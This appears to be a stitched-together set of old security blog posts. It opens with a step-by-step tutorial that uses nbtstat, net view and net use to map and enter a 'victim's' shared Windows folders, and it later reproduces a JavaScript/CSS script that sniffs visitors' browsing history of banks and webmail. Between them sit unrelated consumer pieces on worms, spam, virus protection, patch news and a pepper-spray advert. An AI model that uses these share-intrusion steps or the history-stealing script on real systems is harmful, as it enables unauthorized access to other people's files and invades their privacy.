As usual start the proceedings in the following manner-

Click “Start -> Run -> cmd

At Dos Prompt ->

Nbtstat –A IP address [e.g: nbtstat –A 207.175.1.1]

This will give you a read out that looks like this->

NetBIOS Remote Machine Name Table

The following is an example-

Name Type Status
————————————-
abhi <00> UNIQUE Registered
WORK <00> GROUP Registered
abhi <03> UNIQUE Registered
abhi <20> UNIQUE Registered
WORK <1e> GROUP Registered
WORK <1d> UNIQUE Registered
__MSBROWSE__ <01> GROUP Registered
———————————————–

The numbers in the <> are hex code values. What we are interested in is the “Hex Code” number with <20>.

A hex code of <20> means you have file and printer sharing turned on!

Next step is to find out what is being shared->

Net view \\
[e.g : net view \\207.175.1.1]

You will then get a response that looks similar to this->

Shared resources at \\ip_address
Sharename Type Comment

______________________
MY DOCUMENTS Disk
TEMP Disk
______________________
(The command was completed successfully.)

This indicates that you have gained access to your potential victim’s My Documents Folder as well as their Temp directory.

To get access to those folders next command ->

Net use x: \\\temp
[e.g : net use x: \\207.175.1.1\temp]

If all goes well for you, you will then get a response of
(The command was completed successfully.)

That’s it!! You are all set to HACK the victim’s Temp folder!!

Go try it out :)

A virus needs to have a host program in order to spread while worms can propagate on their own. Worms are the worst since they can function without human aid.

Like viruses, worms can copy themselves, but they are entirely self-contained. Actually the worms can be developed to do a lot of harm, such as corrupting programs and deleting files and they mostly affect networks.

A worm can be put into a network and then it is capable of self copying itself, and this behavior can cause a drastic damages. Routers need to use memory and processor time and worms can cause them to become overwhelmed. This can create a slow down on the network and instability.

A virus doesn’t need to delete files before it does harm since they can cause the CPU to be always busy, leaving no other resources for the other programs that need to run.

A worm can carry so called “payloads”, which are other kinds of malwares, such as backdoor programs and spyware that may be used to track your activities on the computer while a backdoor is a hidden point of access on your computer which can be used by hackers to steal information from your computer or to send spam.

For home computer users the payload of a worm is the worst threat. A payload can be developed to manipulate your computer security by turning off your antivirus or by opening up ports in your computer!

How do they circulate?

Worms, however, can be spread through attachments in email so you need to be careful when you’re opening mail from sources that you don’t recognize or when you’re getting files that are unexpected.
USB drives can generally catch a virus or worm easily and circulate them around big time!
However certain malicious attack may come even without any external attachments through the internet directly!

What can you do about ‘em…?

You can set up a firewall to protect your computer from worms, so that it will restrict traffic on the network as well as put a “cloak” over your computer. If no one can see your computer it can’t be used to spread worms across the network.

Make sure to scan any external drives such as USB drives before plugging them into your computer!

Even with all these precautions your computer can be infected. You might notice that your computer is working slowly or that it is rebooting itself and even your access to the Internet can become slow!
If you think that your computer has a worm you need to scan it with antivirus software. If the worm can’t be removed you can always find the worm removal instructions on the Internet.

And the worst one is…

Well it’s hard to answer this as there have been many annoying deadly malwares detected over time, however supposedly the worst worm ever was known as “MyDoom”, first released in January of 2004 and was sent around by email that had a subject line that said “Andy; I’m just doing my job, nothing personal, sorry…!!”

The author of this worm was never discovered but some people think that the worm was created to attack SCO, a software company. The email was programmed to hit the website of SCO with loads of Internet traffic, eventually reaching the Internet and causing a world wide Internet slow-down!!!

There is one product that is a powerful three-fold weapon. This is an important and effective product that will throw a would-be attacker off-guard and help you stay safe. The product is called Triple Action Mace.

Most people who are worried about being attacked and what they can do in the face of an attack. They are usually looking for a way to overpower their attacker without necessarily killing them. As a result, people are looking for non-lethal alternatives that will keep them safe.

Triple Action Mace protects you and disables your attacker in three powerful ways. It combines OC Pepper Spray, CN Tear Gas and UV Marking Dye. When you use this small but powerful tool, three things happen. The pepper causes the attacker’s eyes to slam shut and makes them start coughing and choking. While their eyes are still burning and they are coughing, the tear gas creates an intense burning to the face and tearing to the eyes, so by now they are disoriented, leaving you free to get away and call for help.

The third part of Triple Action Mace helps police or authorities to easily identify your attacker. The UV Dye marks the person’s face, skin and clothes, making it nearly impossible for the attacker not to be identified. Since the person will be disoriented and marked at the same time, if you are able to call the police quickly, your attacker should be able to easily be apprehended.

Triple Action Mace is easy to use, non-lethal and affordable. It comes in various sizes and styles, including some that fit in your purse or pocket so you can carry it with you everywhere and use it whenever necessary.

Article Source: http://www.articlesbase.com/gadgets-and-gizmos-articles/triple-action-mace-410098.html

There are some spammers like the Australian who was caught spamming. He is not smart enough to hack into people’s computer to generate spam emails. But instead, he rented 35 servers in Netherlands to send billions of spam emails. He was spending around $10,000 US Dollars for this operation. The Australian police have taken this man into custody for sending billions of spam emails. This billions figure is minute compared to the amount of spam generated everyday. The penalty he will be paying is huge and if you are thinking about spamming, think hard about the consequences.

via USA Today

Jeremiah Grossman tries to prove through a script that your browser history could be captured by websites that you visit. This is done through a CSS hack. This is the only time IE7 RC1 has been more secure than Firefox as IE7 blocks the script where as Firefox shows my entire history. The script it embedded on the page, and it appears that basic technique involves setting the visited link color via CSS on a group of links to common sites, and then getting the computed values of the links and seeing which ones have the visited color. Check out the embeded code.

<script>

var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
	"http://login.yahoo.com/",
	"http://www.jailbabes.com",
	"http://ha.ckers.org",
	"http://seoblackhat.com",
	"http://www.cgisecurity.com",
	"http://www.spidynamics.com",
	"http://www.cenzic.com",
	"http://www.watchfire.com",
	"http://www.ntobjectives.com",
	"http://www.webappsec.org",
	"http://www.whitehatsec.com",
	"http://english.aljazeera.net/HomePage",
	"http://mail.google.com/",
	"http://mail.yahoo.com/",
	"http://my.yahoo.com/",
	"http://slashdot.org/",
	"http://www.myspace.com/",
	"http://www.amazon.com/",
	"http://www.aol.com/",
	"http://www.bankofamerica.com/",
	"http://www.bankone.com/",
	"http://www.blackhat.com/",
	"http://www.blogger.com/",
	"http://www.bofa.com/",
	"http://www.capitalone.com/",
	"http://www.chase.com/",
	"http://www.citibank.com/",
	"http://www.cnn.com/",
	"http://www.comerica.com/",
	"http://www.e-gold.com/",
	"http://www.ebay.com/",
	"http://www.etrade.com/",
	"http://www.google.com/",
	"http://www.hsbc.com/",
	"http://www.icq.com/",
	"http://www.microsoft.com/",
	"http://www.msn.com/",
	"http://www.myspace.com/",
	"http://www.passport.net/",
	"http://www.paypal.com/",
	"http://www.sourceforge.net/",
	"http://www.statefarm.com/",
	"http://www.usbank.com/",
	"http://www.wachovia.com/",
	"http://www.wamu.com/",
	"http://www.wellsfargo.com/",
	"http://www.xanga.com/",
	"http://www.yahoo.com/",
	"https://commerce.blackhat.com/",
	"https:/banking.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {
	
	var d = document.createElement('div');
	d.id = 'xss_flag';
	document.body.appendChild(d);

	var d = document.createElement('table');
	d.border = 0;
	d.cellpadding = 5;
	d.cellspacing = 10;
	d.width = '90%';
	d.align = 'center';
	d.id = 'data';
	document.body.appendChild(d);
	
	document.write('<style>');
	for (var i = 0; i < websites.length; i++) {
		document.write('#id' + i + ":visited {color: #0000FF;}");
	}
	document.write('</style>');

	/* launch steal history */

if (is_mozilla) {
stealHistory();	
}
	
}


/*--- [method: stealHistory] -------------------------------------------#
# Description: Send a browsers history to an off-domain URL.			#
-----------------------------------------------------------------------*/
function stealHistory() {
	
	// loop through websites and check which ones have been visited
	for (var i = 0; i < websites.length; i++) {
	
		var link = document.createElement("a");
		link.id = "id" + i;
		link.href = websites[i];
		link.innerHTML = websites[i];
		
		document.body.appendChild(link);
		var color = document.defaultView.getComputedStyle(link,null)
                .getPropertyValue("color");
		document.body.removeChild(link);

		// check for visited
		if (color == "rgb(0, 0, 255)") {
			document.write('<li><a href="' + websites[i] + '">' 
                + websites[i] + '</a></li>');
		} // end visited check
		
	} // end visited website loop
	
} // end stealHistory method

</script>

Spam or UCE (Unsolicited Commercial Email) is the online equivalent to off-line junk mail. The difference being off-line one must identify their market, purchase a targeted mailing list to be effective, incur the cost of the printed materials of which the quality will determine how they are perceived (or phone charges if calling folks during their dinner or busy day to sell them things they may not want or have any interest in) and the postage to snail mail them.

Unlike the off-line world, online bulk e-mailers have no cost other than their time and an Internet connection to jam their scams and “opportunities” into the mailboxes of hundreds of 1,000�s of Netizens per hour. Spamming is simply not the same as cold calling via telephone off-line (although many of us despise that practice just as much). It is, at best, annoying and at worst illegal (in some states). No matter how legitimate you feel your offer is, it’s not legitimate if done over illegitimate channels. No matter how sincere your intentions, one can be sincerely naive when participating in a technology they have not taken the time to understand completely.

So, that being said, regardless of your personal opinions, Spam is not an accepted marketing practice online - period. And, unfortunately, you will be receiving many e-mails to the contrary. By Spamming you risk getting your account canceled from your ISP, Server Company and even Technology Consultant or worse yet being blacklisted on the many Spam Web sites dedicated to informing Netizens to NOT do business with you. Some of those with the expertise who have had it with the intrusiveness of Spam take it upon themselves to “return fire”, sending retaliatory Spam, tracing the employment and personal information of the Spammer, and generally doing some very nasty stuff. The Spammer’s personal information may even be posted online. By offending experts in the field (which you most likely will inevitably do) you are opening yourself up to the furor of those who you offend. Spamming is most certainly not the way to build credibility for your venture.

Here are some tips to help you identify and deal with the Spam you too will be receiving. From get rich schemes or weight loss miracles, getting a diploma online and even those pointing you to pornographic sites - Just Hit Delete!.

1. Any Web Marketing or Technology professional who truly knows how the online world operates and how to work it for the success of their clients will never Spam you. Those good at what they do are too busy assisting their growing client bases and have no need to blindly e-mail others that they do not know or have not qualified. Whether it be the “guaranteed top 10″ listings with Search Engines or the e-mails that cleverly have a subject that insinuates the sender knows you - they are all Spam. Some can even contain viruses, so never open an e-mail from someone you do not know! (Even from those whom you do know, you need to make sure all your e-mail is scanned for viruses on the download to avoid any potential problems. (See my article: Remaining Virus Free is YOUR Responsibility!)

Also, understand that there are a plethora of individuals whose job it is to use your lack of knowledge to give the perception of quality and value - all to line their pockets. Then onto the snake-oil salesmen online; “Get Rich Quick”, “Make Millions from Your Home”, “Loose 100 Pounds in a Week Sitting on Your Couch”, “University Diplomas” . . . Unless you personally know who sent you the e-mail, don’t believe it! You know the saying, “If it sounds too good to be true”? That statement applies x10 online! Just Hit Delete!

2. If the e-mail is not addressed specifically to you (you@youre-mail.com) you have been Spammed. Dead giveaways are the TO: field is empty or filled with anonymous e-mail accounts such as friend@public.com or trythis@nowhere.com. Accounts with juno.com, yahoo.com, msn.com or hotmail.com are throwaway accounts commonly used by Spammer’s. The majority of e-mails originating from foreign countries are also typically Spam. These individuals will Spam, suck in what responders they can, cancel the account and are never to be seen again. The FROM: field will have an erroneous e-mail address too, either matching the TO: field address or showing another fake e-mail address. This is so you cannot track them down to complain about the Spam or their products at a later date. Credible companies do not hide their identity. When reviewing the e-mail in your In Box, if you don’t recognize who the e-mail is from, it is a safe bet to Just Hit Delete!

3. When you receive a Spam that includes an apology stating something to the effect that if you want to be removed from the mailing list you need to hit reply or send an e-mail with cancel, or unsubscribe to a certain address - don’t ever follow these instructions! If you do, you will confirm that there is a live body at the end of your e-mail address, only to receive more Spam and to have your e-mail address sold even further. (Now of course this does not apply to those legitimate businesses to which you did sign up to get periodic updates. In those cases, yes, follow these instructions. This is all about using common sense and paying attention to details!)

Do not believe for a moment that if the e-mail quotes some statute or law that claims they are not Spamming, that makes it O.K. for them to send you junk mail you did not ask for. No such law - remember, if it walks like a duck….. ;-) These guys/gals send out hundreds of thousands of e-mails per hour. They don’t know who you are or even if your e-mail address is “fresh” - meaning active. By responding to this type of request you are letting them know you do in fact exist and to keep the Spam coming. Just Hit Delete!

4. If your own Web site uses autoresponders, you will get Undeliverable Message e-mails when the autoresponder cannot deliver to the fake or forged return e-mail address used in the original Spam sent through your site. Autoresponders have no way of knowing whether a request into your site is from a “real” or valid e-mail address - they just “automatically - respond”.

Every single e-mail that is returned as undeliverable will state very clearly in the top portion of the e-mail why it was returned. In the case of Spam, no such account/user unknown/user or account has been closed are the common reasons noted. If you get autos returned because they could not be delivered - look for the reason why.

There is so much going on with spamming and viruses expect to get returned/undeliverable e-mails that you did not initiate. If you receive e-mail returns and they are returned from what are clearly fake addresses don’t bother your ISP or Web host with questions of “What is going on?” or claims that something is “wrong” with the Web site or server as though they have control over these returns - they don’t. You were Spammed by someone who used a bogus e-mail address, or a virus is at play from someone who had your e-mail address on their system. Nothing can be done about either. Just Hit Delete!

5. If you receive blank e-mails, one of several things can be happening:
1. Your e-mail is being tested to see if it bounces back as undeliverable so your address can be sold again - nothing you can do about that.
2. The Spammer doesn’t know how to code properly causing the content of the e-mail to not be viewable. Legitimate professionals don’t do this as they make sure their e-mail is readable by as many users as possible - that is just good business.
3. Someone who has your e-mail address in their address book has a virus.

Regardless of which of the three it is, Just Hit Delete!

6. Don’t believe the majority of Spam that you read unless is comes from a qualified source that you specifically contacted for information. Just because an e-mail lands in your In Box does not give it an iota of credibility or legitimacy. If the above information applies, and there is not a URL to a high quality Web site for you to review, more of a reason to Just Hit Delete!

There is a useful online service called www.Spamcop.net. This is a service that hunts down Spammer’s for you and reports them to the ISP/Web Host. For a small fee they also offer you an e-mail account to automatically filter e-mail from Spammers you reported from sending future e-mail to you. The buck stops there! All you need to do is copy and paste the entire e-mail - with all the header info - into this site and complaint e-mails are sent out to the appropriate parties!

There are all kinds of online resources on the legality and handling of Spam. Most likely your ISP has policies and a help area you should make yourself familiar with. Here are some things to keep in mind to keep your Spam levels manageable (if there even is such a thing):

* Be VERY selective where you give out your e-mail address online. ALWAYS read a Web site’s privacy policy to see if they will sell or provide your information to their “partners”. If they do not give you the option to “opt-out” of them giving/selling/providing your information to others who have nothing to do with you doing business with them, don’t do business with them!

* Use a Yahoo.com, MSN.com or Juno.com e-mail address if you participate on mailing lists or news groups. This gives you more flexibility down the road in getting a new e-mail address rather than having your business’ dot com out there which you most likely will never change.

* Ask your Web developer about ways to shield or hide the e-mail addresses on your Web site to prevent them from being “farmed” by Spammer e-mail gathering software. This can make a big difference!!

* Most servers have a default setting that can be set to send e-mail that the server doesn’t know what to do with to a designated e-mail address for checking. Spammers will use variations of your dot com e-mail address to get as many copies to any particular dot com as possible. Have your server setup to handle only established accounts that are set up on the server - anything else bounces back as undeliverable.

* Learn how to use your e-mail program’s filters. Filters, based on the TO:, FROM:, Subject: or text within an e-mail, will send e-mail that meets the criteria you set to any e-mail box you have setup within the program. This is also a great organizational tool for those who get a bunch of e-mail. For Spam you can have, as an example, any e-mail with the word “sex” go directly to trash on the download - you never even have to see it!

* The product I use to avoid the porn and junk mail epidemic is SpamKiller. Great software with built in filters that “KILL” e-mail identified as Spam. Minimized my junk e-mail load by the 100s immediately!

One thing to keep in mind is that before you bother your ISP, Technology Consultant or the sender of the e-mail itself that you be sure you have addressed the above issues first. Also, be sure that you have not in fact requested the information sent before you report or cause problems for legitimate enterprises simply responding to your request.

Spam is not going to go away. But, with diligence you can minimize and ensure that the e-mail you receive is only that which you want to take the time to review because you requested and expected its arrival.

For years I have been advising and informing business men and women that they really “should” keep on top of the virus scene if for no other reason than to save themselves the grief a subsequent virus infection can cause. Those days are way over. You no longer have any choice; you need to make sure if you are going to participate online that you do the simple basics necessary to keep your system and those you communicate with as risk-free as possible from infection.

When you hear about million dollar losses due to the latest virus “attack” know that the only way a virus can “attack” is if a) you let it by not being responsible, or b) you refuse to become informed on this subject and therefore you let the virus in to wreck havoc on your system as well as the systems of those you communicate with. No faster way to look silly and uninformed than to have all your business associates receive multiple virus generated e-mails sending them to a pornography site generated from your e-mail account. (Can we say grovel?)

Those companies that are shutdown and loose time and money need to fire their IT guys or gals immediately. Virus protection is relatively simple with some basic knowledge acquisition and software both on the server/network side and the user side. My concern is with the user side and to stress to clients the importance of this matter. That protecting themselves, their computers, those they communicate with is a responsibility of participation - not a choice.

Also over are the days of having to click on an attachment link for the virus to propagate and for you to get infected. That ended with the virus W32.Nimda.A@mm in September/2001 that merely required you click on the subject of the e-mail in your e-mail program - (specifically targeting Outlook users) you didn’t even have to open the message itself. Nimda also propagated itself by taking advantage of bugs in Microsoft servers to plant itself on the server and then transfer itself to those who visited the Web sites on that server through Internet Explorer.

The days of pretending you have no control and are an innocent victim are way over!! You need to use products that cannot be compromised (Microsoft Servers, Outlook, Internet Explorer) if at all possible but you also need to have 24/7 virus software running on your system and then update your virus patterns daily. Yes, daily! Here are the products I suggest you purchase:

* Norton Antivirus 2006 Norton AntiVirus� 2006 is the world’s most trusted antivirus solution. It protects e-mail, instant messages, and other files by automatically removing viruses, worms, and Trojan horses. New built-in features also detect certain non-virus threats such as spyware and keystroke loggers. Protect your PC 24 hours a day
* Why have a target on your back using Microsoft Outlook? Use Mozilla Thunderbird to minimize your risk level.

Let me be clear I am not Microsoft bashing here. Networks and servers with experienced IT staff did not get infected by Nimda - they kept abreast of their products and downloaded the latest patches both for their servers and company’s browsers before problems could arise. However, with Outlook - you have a plethora of other choices and there is no reason that I have been told to date to continue to use that product so its bugs can be taken advantage of at your expense. Those who create viruses target the masses - Outlook users - as they know they are the majority, less tech savvy and less prone to take precautions to stop their efforts.

There is no single reason - functionality-wise that Outlook has to be used for e-mail. “I don’t want to learn new software” is about the only reason I have ever been given. Not good enough! If you must use Outlook, you have absolutely, positively no choice other than to purchase the software above. Or suffer the consequences.

Why all the fuss? Well, I personally think viruses up to now have been “fun and games” compared to what they could do or will do in the near future. Nimda is an example of this. As in wipe out hard drives, extrapolate personal data, engage malicious code or plant code on your computer. When that happens, you will experience the very same feeling those who don’t back up their computers do when they have lost all their data in a hard drive crash. If they had only taken those few simple steps to avoid pain and misery . . . as they say, hindsight is 20/20.

Another important concern is those of us who do practice technology safely really get sick and tired of receiving all the e-mails these viruses create from others who don’t bother to take these simple steps. If everyone followed these basic steps, those who write these viruses wouldn’t have it so darned easy! It is a tremendous waste of time and resources that can be avoided. So, if you don’t have software that protects your computer from the moment you boot up as well as real-time e-mail scanning as you download e-mail get it now!

Below for your convenience are the basics of viruses.

1. What is a computer virus?

A computer virus is a program designed to spread itself by first infecting executable files or the system areas of hard and floppy disks and then making copies of itself. Viruses usually operate without the knowledge or desire of the computer user.

2. What kind of files can spread viruses?

Viruses have the potential to infect any type of executable code, not just the files that are commonly called ‘program files’. For example, some viruses infect executable code in the boot sector of floppy disks or in system areas of hard drives. Another type of virus, known as a ‘macro’ virus, can infect word processing and spreadsheet documents that use macros. And it’s possible for HTML documents containing JavaScript or other types of executable code to spread viruses or other malicious code.

Since virus code must be executed to have any effect, files that the computer treats as pure data are safe. This includes graphics and sound files such as .gif, .jpg, .mp3, .wav, etc., as well as plain text in .txt files. For example, just viewing picture files won’t infect your computer with a virus. The virus code has to be in a form, such as an .exe program file or a Word .doc file, that the computer will actually try to execute.

3. How do viruses spread?

When you execute program code that’s infected by a virus, the virus code will also run and try to infect other programs, either on the same computer or on other computers connected to it over a network. And the newly infected programs will try to infect yet more programs.

When you share a copy of an infected file with other computer users, running the file may also infect their computers; and files from those computers may spread the infection to yet more computers.

If your computer is infected with a boot sector virus, the virus tries to write copies of itself to the system areas of floppy disks and hard disks. Then the infected floppy disks may infect other computers that boot from them, and the virus copy on the hard disk will try to infect still more floppies.

Some viruses, known as ‘multipartite’ viruses, can spread both by infecting files and by infecting the boot areas of floppy disks.

4. What do viruses do to computers?

Viruses are software programs, and they can do the same things as any other programs running on a computer. The actual effect of any particular virus depends on how it was programmed by the person who wrote the virus.

Some viruses are deliberately designed to damage files or otherwise interfere with your computer’s operation, while others don’t do anything but try to spread themselves around. But even the ones that just spread themselves are harmful, since they damage files and may cause other problems in the process of spreading.

Note that viruses can’t do any damage to hardware: they won’t melt down your CPU, burn out your hard drive, cause your monitor to explode, etc. Warnings about viruses that will physically destroy your computer are usually hoaxes, not legitimate virus warnings.

5. What is a Trojan horse program?

A type of program that is often confused with viruses is a ‘Trojan horse’ program. This is not a virus, but simply a program (often harmful) that pretends to be something else.

For example, you might download what you think is a new program; but when you run it, it deletes files on your hard drive. Or the third time you start the program, the program e-mails your saved passwords to another person.

Note: simply downloading a file to your computer won’t activate a virus or Trojan horse; you have to execute the code in the file to trigger it. This could mean running a program file, or opening a Word/Excel document in a program (such as Word or Excel) that can execute any macros in the document.

6. What’s the story on viruses and e-mail?

You can’t get a virus just by reading a plain-text e-mail message. What you have to watch out for are encoded messages containing embedded executable code (i.e., JavaScript in an HTML message) or messages that include an executable file attachment (i.e., an encoded program file or a Word document containing macros).

In order to activate a virus or Trojan horse program, your computer has to execute some type of code. This could be a program attached to an e-mail, a Word document you downloaded from the Internet, or something received on a floppy disk. There’s no special hazard in files attached e-mail messages; they’re no more dangerous than any other file.

7. What can I do to reduce the chance of getting viruses from e-mail?

Have real-time 24/7 virus protection and update your virus patterns daily! Treat any file attachments that might contain executable code as carefully as you would any other new files: save the attachment to disk and then check it with an up-to-date virus scanner before opening the file if you do not have real-time protection.

If your e-mail software has the ability to automatically execute JavaScript, Word macros, or other executable code contained in or attached to a message, I strongly recommend that you disable this feature.

If an executable file shows up unexpectedly attached to an e-mail, you should delete it unless you can positively verify what it is, who it came from, and why it was sent to you. The recent outbreak of the Melissa virus was a dramatic demonstration of the need to be extremely careful when you receive e-mail with attached files or documents. Just because an e-mail appears to come from someone you trust, this does NOT mean the file is safe or that the supposed sender had anything to do with it.

Remember what I mentioned above about those who don’t back up their data? Do regular backups. Some viruses and Trojan horse programs will erase or corrupt files on your hard drive, and a recent backup may be the only way to recover your data. Ideally, you should back up your entire system on a regular basis. If this isn’t practical, at least backup files that you can’t afford to lose or that would be difficult to replace: critical business and accounting files, documents, bookmark files, address books, important e-mail, etc. And, yep, you guessed it, I just so happen to have a software suggestion to automate this task for you too! ;-)

There you have it in a nutshell. You can’t ignore this information. It is your responsibility to absorb and apply it or you could risk not only your data, but time, money, as well as potential customers who will not be too pleased about your lack of attention to this subject when you pass your irresponsibility on to them.

The news is that Microsoft has released at least twelve security bulletins on the 8th of August of which nine deal with critical vulnerabilities in Outlook and Powerpoint.

eWeek reports that Ten of the dozen security bulletins addressed issued by the Redmond, Wash.-based software maker include patches for its flagship Windows operating system, including the seven labeled as critical, Microsoft’s highest severity rating.

This isn’t the first set of critical patches. This is actually the third one in the past three months. Microsoft is really gearing up to combat the malwares and hackers.

eWeek further reports : Among the critical Windows flaws, Microsoft issued a cumulative bulletin for its Internet Explorer Web browser, which promises to resolve several vulnerabilities that could allow outside attackers to take over a device running the software via remote code execution attacks.

Read the rest.

The recent FIFA World Cup might have brought joy and excitement to many while others who are knocked out are disappointed. But, the hackers are making the most of it by releasing a worm that has Naked World Cup in its subject line. This worm is targeted at English speaking email users. The news is that it is spreading fast. Beware.

This worm is technically called Sixem-A and it began circulating earlier this week but has been blocked by anti-virus companies only couple days back. Not all anti-virus companies have detected this worm.

Victims receive messages with subjects like “Naked World Cup game set,” or “Soccer fans killed five teens,” and are encouraged to click on an e-mail attachment, which appears to be an image. In fact, this attachment is malicious software that disables antivirus products, attempts to download more malware, and also forwards itself to e-mail addresses saved on the victim’s computer.

Malwares have become a part of World Cup tradition and it’s living up to it. In 1998 World Cup, a malware wiped out hard drives and in 2002, VBS Chick-F tried to cause harm but without much success. There are already emails spreading for the next World Cup where spammers are trying to encourage people to click on links by luring them with a lottery victory.

These worms lure people to click to watch a video of hot models. The lust of man would let him get infected. Just as the bible says, lust is the mother of all evil.

This is to my readers, Do Not Open Any Emails That Talks About World Cup, Especially Naked Girls… Naked Girls On Internet Are Not Worth The Virus…

McAfee has released its anti-virus suite Falcon. It can be downloaded here. McAfee’s Falcon comes as a response to Microsoft’s OneCare. McAfee plans on launching Falcon in September. Falcon’s arrival was announced just weeks before and the product is already available in beta form which is a bit of a surprise. Falcon will be competing against not only Onecare but also against Norton 360.

Microsoft’s OneCare has become popular after a few weeks after its release. The advantages that OneCare has over its rivals is the brand name of Microsoft tagged along with three user licenses for each copy. Like Microsoft, McAfee also plans to offer a single license for up to three users, a configuration that is designed to simplify home office license. McAfee’s products will range in price from US$39.99 for the entry-level McAfee VirusScan Plus product, up to $99 for a multiuser version of McAfee Total Protection.management.

McAfee is introducing four products which would have different sets of features like backup and restore, fine tuning the security criteria and others. The four products are 1. McAfee Total Protection includes backup and restore, as well as the tuning capabilities. 2. Virus Scan Plus which has scans the hard disk and emails for viruses and also checks the computer continually as and when data transfer occurs. 3. PC Protection Plus This is a combo of 1 and 2. 4. McAfee’s Internet Security Suite, will have all of the advanced features of Total Protection along with wireless security capability. Of the four products, only 1 and 2 are available in beta form. The other two will not be released in beta form, company said.